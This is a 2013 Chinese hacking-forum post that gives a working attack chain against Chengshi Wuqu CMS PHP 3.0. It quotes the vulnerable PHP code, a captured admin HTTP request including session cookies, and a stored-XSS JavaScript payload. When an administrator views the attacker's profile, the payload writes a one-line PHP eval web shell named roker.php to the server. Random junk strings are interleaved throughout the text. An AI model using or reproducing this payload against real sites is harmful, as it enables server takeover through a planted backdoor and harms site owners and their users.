找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2485|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
3 ]- y/ l/ R9 d- y官网已经修补了,所以重新下了源码2 [7 N! V  T" `- C! }" i$ ~' S
因为 后台登入 还需要认证码 所以 注入就没看了。' U* Z1 K' ?; R$ Q
存在 xss
. x# C8 M  n3 i( I7 H5 m$ B  ]漏洞文件 user/member/skin_edit.php0 |( Z; p, `0 B; S% v
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:( c6 U) u3 t, z) j: @5 H
  4 \. g* X5 B( ]0 v9 z  h
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>, r- m) M& d4 @/ N, W$ z; u
  
, e' N- M# [8 Q7 i! ?</textarea></td></tr>( k' j" ^# C: d5 p
  
) Z$ c/ s5 h/ E- [0 {: W7 e             user/do.php
: K. l: L2 p7 A2 o! }4 o$ h0 Z. s& D9 }; {9 Q6 H

' M9 `; X% ~. y- O7 Q$ W6 Jif($op=='zl'){ //资料
' R" t  e  a8 N  2 M7 b4 S  \9 z8 v: [7 L. u
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
* i& k- E4 P1 }& l) ]( z" M             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));( I7 p" O) x# A9 M
  ; a4 p7 p* H  q9 U/ q
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',7 q* d( V* ~3 O
  
; x+ [9 g9 z3 P8 [6 b7 a             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
- F) K6 @0 T6 M4 G) }- ]             where CS_Name='".$cscms_name."'";$ d; T; z. r  e% |1 I
  
/ a2 A5 b( c0 u; o1 T1 h$ M             if($db->query($sql)){- `- j! H; }/ q: ^" t
  
7 h- u' D8 j$ f6 u" R% J: X% X* m+ L              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));6 L3 ~' K! w+ K  {6 ~
  
8 Q- R; C& O, D" I             }else{
# Z  Z7 j( u/ ?, e    V& K- F4 O& C( u" L4 ]
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));% d+ T- L0 C( o" X; d
  
% f/ X% P' T$ I4 ?             }
- Z# V2 [/ A0 w, ]+ x% n  t8 E% e
  {) Y9 i5 L5 @& y
7 }' o! k" ]6 Z& y# A% x没有 过滤导致xss产生。' F8 b7 ]6 j0 P' y2 k3 X3 M& ?- O
后台 看了下 很奇葩的是可以写任意格式文件。。
0 I9 ~6 z3 X" A. M4 w8 |8 p抓包。。. [2 N+ i- n0 f
9 n+ {/ h( H+ h
. @6 I+ q9 Y# T
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1/ }# v! g& ^% H5 K6 s% _8 U5 M
  
- y5 z0 t6 r6 \* i  BAccept: text/html, application/xhtml+xml, */*/ O1 @0 Q9 c( N) {5 t  D' D$ |6 Z
  $ t% L. {# T/ k" u; [: S; N1 y
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
# L! H) T/ X& [/ g  . j1 {: D5 E# z3 S. y" e
Accept-Language: zh-CN
$ }: V5 _; F$ {; H4 X/ A/ S/ d  2 J, S: d/ m5 D. S
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)% G. u) ?2 N. Q0 \8 Z( o0 V
  
) c8 E/ J, Z$ X( }3 B- {; b. F& H8 yContent-Type: application/x-www-form-urlencoded
) w  U# B- p9 T4 t. T  ' r- v5 C; a! ]
Accept-Encoding: gzip, deflate, A3 z3 n3 i. O! @
  1 I- j, N! z% ?% F
Host: 127.0.0.1& \' |) W' Q- j5 {, k
  
" ~, ^8 p, X) ^% j% sContent-Length: 38
/ t0 z0 Y, z( I/ A/ b  W  
/ ]( C0 \! I4 ]0 ]: H# W  ^) ?DNT: 1( l/ w# t: ]7 M1 h  d
  
- A$ R8 O1 ~- }6 C0 j* c" D1 iConnection: Keep-Alive
) J7 `( K& `% _: W/ x4 u5 w, l  i  
0 n6 s# O0 H8 G4 {! _9 BCache-Control: no-cache
- [1 b+ j4 t) D/ S  
- E* O! `; t6 m3 E5 M! k) ZCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594# P' U. u) j+ t/ s
  8 K! D- W  A7 T3 i' q/ t
* c9 n! u! L  A' ?; i9 M' B
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
$ X* ~5 s/ M0 K. F( {: f+ T  w
) V4 Y; h2 o7 F7 C* |. K! X) o& ^6 Q- y
" Y& k0 ^: l3 a% B
于是 构造js如下。2 P, b- {) `* p

, b) M% Z1 k2 c4 ^本帖隐藏的内容<script>
+ T  N1 }8 o' J8 S( \( SthisTHost = top.location.hostname;  Y, K+ L+ l! T6 T* {) U
  
; ]( y! o1 c: W( K) ^% ?thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
* B& z2 r2 k5 X0 y  
; ^( @- Z! Z; i' N! Bfunction PostSubmit(url, data, msg) { : ^6 L1 z2 H6 G& w4 o$ k
    var postUrl = url;& U3 D, i! j" N
  
, I0 w1 R2 Z! k! {. l6 i/ j    var postData = data;
1 O( B3 n& h# q7 ?    var msgData = msg; 0 g* j& z) I( h$ P' G% K
    var ExportForm = document.createElement("FORM"); - `) \/ n/ i4 x" \
    document.body.appendChild(ExportForm); # D! }4 P' P% k
    ExportForm.method = "POST"; % x6 q, e$ o: U' Z9 k1 D$ a) \  |% w
    var newElement = document.createElement("input");
. \! q5 ~6 A5 q# F4 b    newElement.setAttribute("name", "name");
, ~( |, A$ J3 Z    newElement.setAttribute("type", "hidden"); 1 I  N5 m" K, T8 L
    var newElement2 = document.createElement("input");
+ f4 X" G! `/ a( x) ^9 d    newElement2.setAttribute("name", "content");
6 N( o6 {& P/ v. a1 S# W/ }    newElement2.setAttribute("type", "hidden"); * @. ^/ s- I/ Y2 A+ N
    ExportForm.appendChild(newElement);
' E' |( F+ N7 Y7 t    ExportForm.appendChild(newElement2);
  |% ]' ?, _3 D9 k' C3 s' F    newElement.value = postData;
1 b1 e: ^9 l( q3 ?8 t: D    newElement2.value = msgData; / |) K4 j: ?$ e; _
    ExportForm.action = postUrl; ! c( h) ~/ m$ l" j
    ExportForm.submit();
" c$ p. e: ^  Y6 B0 M! w};# R- T& W9 B. b3 F1 x3 H$ q0 g' ]
  / P' K/ C$ w6 Q9 F$ {$ P' m$ g
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
) d. Y$ g$ d2 I" s0 f  
! @9 ^8 x0 V" h" O8 U' d</script>
" b+ J* T3 k" e# T3 ]4 e  x' C4 b8 T; W- {% Y6 b  O
1 C/ r3 q) R# w' r) ~1 |

/ y+ A$ @$ U! c2 w+ T$ z, e0 }http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入) y: E% r- H1 e) z+ y8 r
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
3 k' Z( Z2 v; p5 d3 h9 ?% C7 V就会 在 skins\index\html\目录下生成 roker.php 一句话。

; ]' C# |" g5 A& b2 V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表